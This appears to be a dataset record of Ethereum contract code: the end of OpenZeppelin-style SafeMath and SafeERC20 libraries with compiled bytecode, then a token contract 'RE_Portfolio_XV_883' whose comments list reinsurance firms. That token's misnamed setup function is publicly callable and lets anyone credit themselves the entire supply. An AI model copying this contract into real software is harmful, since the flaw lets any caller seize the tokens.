* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806310f3b183146100515780631dcd9b5514610140578063317e3ce014610288578063a44ce259146102d2575b600080fd5b61012a6004803603604081101561006757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156100a457600080fd5b8201836020820111156100b657600080fd5b803590602001918460018302840111640100000000831117156100d857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610397565b6040518082815260200191505060405180910390f35b61020d6004803603606081101561015657600080fd5b810190808035906020019064010000000081111561017357600080fd5b82018360208201111561018557600080fd5b803590602001918460018302840111640100000000831117156101a757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190803590602001909291905050506103d2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024d578082015181840152602081019050610232565b50505050905090810190601f16801561027a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029061048e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610395600480360360408110156102e857600080fd5b810190808035906020019064010000000081111561030557600080fd5b82018360208201111561031757600080fd5b8035906020019184600183028401116401000000008311171561033957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506104b4565b005b600060205281600052604060002081805160208101820180518482526020830160208501208183528095505050505050600091509150505481565b60608084905060608484036040519080825280601f01601f19166020018201604052801561040f5781602001600182028038833980820191505090505b50905060008590505b848110156104815782818151811061042c57fe5b602001015160f81c60f81b828783038151811061044557fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610418565b5080925050509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602a82511461052b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f64697041646472206d757374203432206279746573206c656e6774680000000081525060200191505060405180910390fd5b606061053a83600060036103d2565b905080805190602001206040518060400160405280600381526020017f646970000000000000000000000000000000000000000000000000000000000081525080519060200120146105f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f64697041646472206d757374207374617274207769746820646970000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506106483330858473ffffffffffffffffffffffffffffffffffffffff1661086a909392919063ffffffff16565b610700836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020866040518082805190602001908083835b602083106106be578051825260208201915060208101905060208303925061069b565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205461097090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020856040518082805190602001908083835b60208310610772578051825260208201915060208101905060208303925061074f565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020819055503373ffffffffffffffffffffffffffffffffffffffff167f865128631edc31d5501681b824f124e2f7718e3569d0bad93872617fce9f97f885856040518080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561082957808201518184015260208101905061080e565b50505050905090810190601f1680156108565780820380516001836020036101000a031916815260200191505b50935050505060405180910390a250505050565b61096a848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506109f8565b50505050565b6000808284019050838110156109ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b610a178273ffffffffffffffffffffffffffffffffffffffff16610c43565b610a89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310610ad85780518252602082019150602081019050602083039250610ab5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b3a576040519150601f19603f3d011682016040523d82523d6000602084013e610b3f565b606091505b509150915081610bb7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115610c3d57808060200190516020811015610bd657600080fd5b8101908080519060200190929190505050610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180610c8f602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015610c8557506000801b8214155b9250505091905056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582074bd8a693bf3a92ec6924da542541dee79ae15c7bd5287679b36974d23dbfd7964736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 6,109 |
0xfc779f52789d52a532d3deb247de616a0d4a2441
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XV_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XV_883 " ;
string public symbol = " RE883XV " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1350709237915270000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XV_metadata_line_1_____Odyssey_Reinsurance_Company_Am_A_20250515 >
// < 342MsJd9BY87Vs2VkTdNIBv6OgDHA3qhoF9xc9pQNvgH7lJz7HZ433Z72588Ukf8 >
// < 1E-018 limites [ 1E-018 ; 46084375,177347 ] >
// < 0x0000000000000000000000000000000000000000000000000000000112AF2F01 >
// < RE_Portfolio_XV_metadata_line_2_____OJSC_INSURANCE_COMPANY_OF_GAZ_INDUSTRY_SOGAZ_Bpp_20250515 >
// < TuNFST6Jrjb57jy7Y41dDpZ3BGKfH884NDx6pe90xd4GV7Q96YlOJb5s0Ttm362P >
// < 1E-018 limites [ 46084375,177347 ; 95545612,671014 ] >
// < 0x0000000000000000000000000000000000000000000000112AF2F012397F0AE7 >
// < RE_Portfolio_XV_metadata_line_3_____Oman_A_Oman_Reinsurance_Co_m_m_20250515 >
// < bZX9vp15O5S6uyH1096WoTb9CRxe3OHbDVUDnq8FYv4EE98c2QHR11Ldk6B044FZ >
// < 1E-018 limites [ 95545612,671014 ; 108173857,245528 ] >
// < 0x00000000000000000000000000000000000000000000002397F0AE7284C436F0 >
// < RE_Portfolio_XV_metadata_line_4_____Oman_Insurance_Company_PSC_Am_A_20250515 >
// < o8mB5h5vH12Ke8zsBN3QpRSDaFw69N2FAMo5aA1jDk5shJCb2Hu9u97lNFRyRSVO >
// < 1E-018 limites [ 108173857,245528 ; 127454227,24716 ] >
// < 0x0000000000000000000000000000000000000000000000284C436F02F7AFB978 >
// < RE_Portfolio_XV_metadata_line_5_____Omnium_Reinsurance_Co_20250515 >
// < kfVIfGplBzrZ3F02jTSxtu8FIDGHz7Oid37d7En2h3R0KxHRyRUxvXM5XzR1Rydg >
// < 1E-018 limites [ 127454227,24716 ; 175503708,90955 ] >
// < 0x00000000000000000000000000000000000000000000002F7AFB978416156A3E >
// < RE_Portfolio_XV_metadata_line_6_____Omnium_Reinsurance_Co_SA_Ap_20250515 >
// < MUXSQAWjvCCg2DUY1cXIRbHmi353ecqnJ8fC95Zwj3jG29N3r48n2E9S13VMCp47 >
// < 1E-018 limites [ 175503708,90955 ; 235362949,111934 ] >
// < 0x0000000000000000000000000000000000000000000000416156A3E57ADF5DF3 >
// < RE_Portfolio_XV_metadata_line_7_____Optimum_Reinsurance_Company_20250515 >
// < 4bL39WZDm9u7zcNl3a35fKV6Hobptp1tiRgQA3P33cT9yIqNPekGXl7RWAYA3eMN >
// < 1E-018 limites [ 235362949,111934 ; 252608961,057728 ] >
// < 0x000000000000000000000000000000000000000000000057ADF5DF35E1AAB15D >
// < RE_Portfolio_XV_metadata_line_8_____Orient_Insurance_PJSC_A_A_20250515 >
// < 5hgI2IdEnbtgICY49u32be2YQ07hcBd55ox2NCon5Xtzx4r28aB84vWMAp497nuE >
// < 1E-018 limites [ 252608961,057728 ; 300168226,004988 ] >
// < 0x00000000000000000000000000000000000000000000005E1AAB15D6FD245F3C >
// < RE_Portfolio_XV_metadata_line_9_____Oriental_Insurance_and_Reinsurance_20250515 >
// < uCW0s3KSR8Bn8pz282x7zu3bObQm210C8iw6ha4RT0mI1iOsF5hXW51n3G4rWvpU >
// < 1E-018 limites [ 300168226,004988 ; 329544840,823364 ] >
// < 0x00000000000000000000000000000000000000000000006FD245F3C7AC3D8766 >
// < RE_Portfolio_XV_metadata_line_10_____Overseas_Partners_Limited_20250515 >
// < m36vLM3kBCegv6yM9T3eBDXWOo2GsZs062oeXN09ZBQSHR954T2U1j5pPb2hRN77 >
// < 1E-018 limites [ 329544840,823364 ; 358379439,38619 ] >
// < 0x00000000000000000000000000000000000000000000007AC3D87668581BA276 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XV_metadata_line_11_____Pacific_LifeCorp_20250515 >
// < WjgwSZIo8l3H73FETr1sFnqg8p2II28D72T0v3dAe0Qj80R4b35ELeoJv5z80pm3 >
// < 1E-018 limites [ 358379439,38619 ; 384780653,396014 ] >
// < 0x00000000000000000000000000000000000000000000008581BA2768F578B0AF >
// < RE_Portfolio_XV_metadata_line_12_____PACRE_AB_20250515 >
// < 50reG8eQGIPfbKUeUYJR8g3o228Kqa049dADf5Z4lp3883E2bkz8s15H09e80zf5 >
// < 1E-018 limites [ 384780653,396014 ; 406647887,37271 ] >
// < 0x00000000000000000000000000000000000000000000008F578B0AF977CF70F5 >
// < RE_Portfolio_XV_metadata_line_13_____Panama_BBB_Barents_Reinsurance_Am_20250515 >
// < zPg99slKuA8E75JfUS2v53b4FFKaXr5OCTnvSEMa098F53JJJ2TpGjFuE05V5Y3j >
// < 1E-018 limites [ 406647887,37271 ; 446419362,72082 ] >
// < 0x0000000000000000000000000000000000000000000000977CF70F5A64DDE584 >
// < RE_Portfolio_XV_metadata_line_14_____Paris_Re_20250515 >
// < cD4Du5BKZgJUDEiqccxK1p5W08LluAm9Mr8qNLakSXDXJyq0Wvph1j1NMhU6Dzkj >
// < 1E-018 limites [ 446419362,72082 ; 457005135,789622 ] >
// < 0x0000000000000000000000000000000000000000000000A64DDE584AA3F6811E >
// < RE_Portfolio_XV_metadata_line_15_____Paris_Re_20250515 >
// < Y8V07i4Iu435W56SJD6B2Z4KkUKXiTo24hHh6bBXS7W7Q7O9K5bqc9C1Oyol1d7p >
// < 1E-018 limites [ 457005135,789622 ; 523885012,11154 ] >
// < 0x0000000000000000000000000000000000000000000000AA3F6811EC329918CF >
// < RE_Portfolio_XV_metadata_line_16_____Partner_Re_Limited_20250515 >
// < Pc75yI7j8AwxBUn8z09S572n49CLB0uPWvM6qZZZDN6RWVI4GN5WjRjr82n6N5H3 >
// < 1E-018 limites [ 523885012,11154 ; 537324242,912967 ] >
// < 0x0000000000000000000000000000000000000000000000C329918CFC82B3BC57 >
// < RE_Portfolio_XV_metadata_line_17_____Partner_Re_Limited_20250515 >
// < 7m6n01H7nvrwlUX61vbdgkr33f55KWIqhHwN130061uugZp96x1v7gp3hnMpFNN0 >
// < 1E-018 limites [ 537324242,912967 ; 551023930,400859 ] >
// < 0x0000000000000000000000000000000000000000000000C82B3BC57CD45BCCC4 >
// < RE_Portfolio_XV_metadata_line_18_____Partner_Re_Services_20250515 >
// < fg68H6k53JdpmNx704YE4JJ14NvJw73x5f36vb031419jhihMQ4u5i5hG16RygI1 >
// < 1E-018 limites [ 551023930,400859 ; 565728715,753078 ] >
// < 0x0000000000000000000000000000000000000000000000CD45BCCC4D2C01858B >
// < RE_Portfolio_XV_metadata_line_19_____Partner_Reinsurance_Co_Limited_Ap_A_20250515 >
// < 1mwN0kCgXu6lHBUe7EBj8hVJixltcJgZ0RGhql6p9J063uvIJ0A45u8V6e6dSqNQ >
// < 1E-018 limites [ 565728715,753078 ; 590266733,615009 ] >
// < 0x0000000000000000000000000000000000000000000000D2C01858BDBE4390C5 >
// < RE_Portfolio_XV_metadata_line_20_____partner_reinsurance_company_Limited_Ap_20250515 >
// < Qh1mVDUeySdV7Qe60stA5TDRU40lbO5Q7b8547794gpjmXLu09xeuCXC566sUOP2 >
// < 1E-018 limites [ 590266733,615009 ; 606495147,827913 ] >
// < 0x0000000000000000000000000000000000000000000000DBE4390C5E1EFE2912 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XV_metadata_line_21_____PartnerRe_Limited_20250515 >
// < oseiT5kQ6dq3R7HS379Bm771koQ7c0aM1Anm67y6QZ33957ftDrVWOxA2O1C5dIP >
// < 1E-018 limites [ 606495147,827913 ; 621285303,715882 ] >
// < 0x0000000000000000000000000000000000000000000000E1EFE2912E772625B7 >
// < RE_Portfolio_XV_metadata_line_22_____Peak_Reinsurance_Company_20250515 >
// < zm4ok5G2VUB435bd5k0BP7KP0Oi75UY9V3oooQ5HD0J7C5F6885b641YN6o87x0B >
// < 1E-018 limites [ 621285303,715882 ; 697308544,052076 ] >
// < 0x000000000000000000000000000000000000000000000E772625B7103C4867F9 >
// < RE_Portfolio_XV_metadata_line_23_____Peak_Reinsurance_Company_Limited__Peak_Re__Am_20250515 >
// < g3wSkrIWRnWc6099VG173I52i7gk59zlQ04ebusYeScTXhHMRUh5fp9X3D1zIWew >
// < 1E-018 limites [ 697308544,052076 ; 732529226,758741 ] >
// < 0x00000000000000000000000000000000000000000000103C4867F9110E36E727 >
// < RE_Portfolio_XV_metadata_line_24_____Pembroke_Managing_Agency_Limited_20250515 >
// < bwH70O2B2MXZpch1WR34PeN0fHBH0Ea8AkNs6gcF8ZyAn1D6lu14YlH4ygyd77Yx >
// < 1E-018 limites [ 732529226,758741 ; 811292196,732394 ] >
// < 0x00000000000000000000000000000000000000000000110E36E72712E3ADA84D >
// < RE_Portfolio_XV_metadata_line_25_____Pembroke_Managing_Agency_Limited_20250515 >
// < GsyvsW26a1Y6t3YLyAqd32PZnsawddNjjDSx5ga5cN2M3OJM3c3TBo0O9OXcMSTg >
// < 1E-018 limites [ 811292196,732394 ; 886236796,761977 ] >
// < 0x0000000000000000000000000000000000000000000012E3ADA84D14A2620AB0 >
// < RE_Portfolio_XV_metadata_line_26_____Pembroke_Managing_Agency_Limited_20250515 >
// < UF1d4807S9eVJNI8AiEUxnNnfbrz6pR2R37I1cnLmdZn7w7wuPAYuvoZh39N37e1 >
// < 1E-018 limites [ 886236796,761977 ; 904319281,796364 ] >
// < 0x0000000000000000000000000000000000000000000014A2620AB0150E29B967 >
// < RE_Portfolio_XV_metadata_line_27_____Pembroke_Managing_Agency_Limited_20250515 >
// < XV9bL5W6w96O4rp3zdORR4UC3sR0nQ9P4iTw2aih0Ke906BJLWiUyXaCXzTpl7w4 >
// < 1E-018 limites [ 904319281,796364 ; 980830244,554802 ] >
// < 0x00000000000000000000000000000000000000000000150E29B96716D634303B >
// < RE_Portfolio_XV_metadata_line_28_____Pembroke_Managing_Agency_Limited_20250515 >
// < JB85i74Buf8s36I29Qu8R97Yim6D14vY299g54DCQ1t6RUv5414g98F66Of9z8HK >
// < 1E-018 limites [ 980830244,554802 ; 1026640384,27562 ] >
// < 0x0000000000000000000000000000000000000000000016D634303B17E740EA0F >
// < RE_Portfolio_XV_metadata_line_29_____Pembroke_Managing_Agency_Limited_20250515 >
// < H71V5A4quEp2790kPxoLYpM78I5Jwf3vzI375m0M7g66DCDGJMnDt9bdf8g2HxAB >
// < 1E-018 limites [ 1026640384,27562 ; 1078613883,31291 ] >
// < 0x0000000000000000000000000000000000000000000017E740EA0F191D0A2E1F >
// < RE_Portfolio_XV_metadata_line_30_____Pembroke_Managing_Agency_Limited_20250515 >
// < EYnR7oGr76Sl9FZ7o4e4yqUKQ61C60H24r4BfbMJ5gsVYQIVu05wyi0C0260JW7X >
// < 1E-018 limites [ 1078613883,31291 ; 1132591625,57541 ] >
// < 0x00000000000000000000000000000000000000000000191D0A2E1F1A5EC5ADB1 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XV_metadata_line_31_____Pembroke_Managing_Agency_Limited_20250515 >
// < H7rL8jdXqzJB2psuZOQ6RUg71Kt2351VkL0IF7z4l08PmK4RRBYrS6St22gc0Pzu >
// < 1E-018 limites [ 1132591625,57541 ; 1189242854,37023 ] >
// < 0x000000000000000000000000000000000000000000001A5EC5ADB11BB07097F1 >
// < RE_Portfolio_XV_metadata_line_32_____Pembroke_Managing_Agency_Limited_20250515 >
// < 17jKWfdEU4j1Qc74Wwm3ijXKQL908fXTL8L500JFD3Hoe57rhBkIOxFEEz4SPUqS >
// < 1E-018 limites [ 1189242854,37023 ; 1201920241,16011 ] >
// < 0x000000000000000000000000000000000000000000001BB07097F11BFC00C028 >
// < RE_Portfolio_XV_metadata_line_33_____Pembroke_Managing_Agency_Limited _20250515 >
// < k5h37rYWg5A6M00DjZe94c98Uo5pWOtpfy5XPzhs6Xh9c5l9TgNTCZGj7hI65dt8 >
// < 1E-018 limites [ 1201920241,16011 ; 1213323527,15815 ] >
// < 0x000000000000000000000000000000000000000000001BFC00C0281C3FF8C8BF >
// < RE_Portfolio_XV_metadata_line_34_____Ping_An_Property_&_Casualty_Insurance_Co_of_China_Limited_Am_20250515 >
// < ZmrE5z9vfn1m3PK70u09PjnDLFm4Y37VabpFzvOWwrgpb227ao1WNiFPLH1X42na >
// < 1E-018 limites [ 1213323527,15815 ; 1232791090,83204 ] >
// < 0x000000000000000000000000000000000000000000001C3FF8C8BF1CB401EDCF >
// < RE_Portfolio_XV_metadata_line_35_____Platinum_Underwriters_Holdings_Limited_20250515 >
// < g2Wf84zg3G31fVIE86I1FbpXOSi4k37r4rZq3Izt8y1t2g92ghWO3E9356W09Vg8 >
// < 1E-018 limites [ 1232791090,83204 ; 1244652056,32338 ] >
// < 0x000000000000000000000000000000000000000000001CB401EDCF1CFAB45374 >
// < RE_Portfolio_XV_metadata_line_36_____Platinum_Underwriters_Holdings_Limited_20250515 >
// < 4011Wy1U85vSZ7lmnTnpFh2Kof7E84GDf161zaOn8SG8t971vIUJUX3MS4zE17M8 >
// < 1E-018 limites [ 1244652056,32338 ; ] >
// < 0x000000000000000000000000000000000000000000001CFAB453741D48DB4F49 >
// < RE_Portfolio_XV_metadata_line_37_____Platinum_Underwriters_Holdings_Limited_20250515 >
// < Ir4UoPbEziw4aiQWH7ojKyDGKlpQsxq2GNE4pbLLt6cbeI07ZuVi2V9gbwoz8ycy >
// < 1E-018 limites [ 1257763833,17499 ; 1298796065,51769 ] >
// < 0x000000000000000000000000000000000000000000001D48DB4F491E3D6D870B >
// < RE_Portfolio_XV_metadata_line_38_____PMA_Re_Management_Company_20250515 >
// < 6l29nMNmCCZxv4sY87WczaxVqW696wO0gnPEejb07EYobQyedY8EsbhU5E3tS54y >
// < 1E-018 limites [ 1298796065,51769 ; 1313347030,1582 ] >
// < 0x000000000000000000000000000000000000000000001E3D6D870B1E9428899B >
// < RE_Portfolio_XV_metadata_line_39_____Pozavarovalnica_Sava,_dd__Sava_Re__Am_Am_20250515 >
// < OD6II9X00HsmRBBo7R8F4gwBWsZ5uFJfZ3A535L3j3592CmtCCG1O0JhiCOmL3gz >
// < 1E-018 limites [ 1313347030,1582 ; 1324231558,33625 ] >
// < 0x000000000000000000000000000000000000000000001E9428899B1ED509026D >
// < RE_Portfolio_XV_metadata_line_40_____ProSight_Specialty_Managing_Agency_Limited_20250515 >
// < O6QFc5aMhH4fA5hCg6BBcx521NEKsuy1dd7wF66A1XRSR3XpDM1TW4I4vz61R8en >
// < 1E-018 limites [ 1324231558,33625 ; 1350709237,91527 ] >
// < 0x000000000000000000000000000000000000000000001ED509026D1F72DABE03 >
}
|
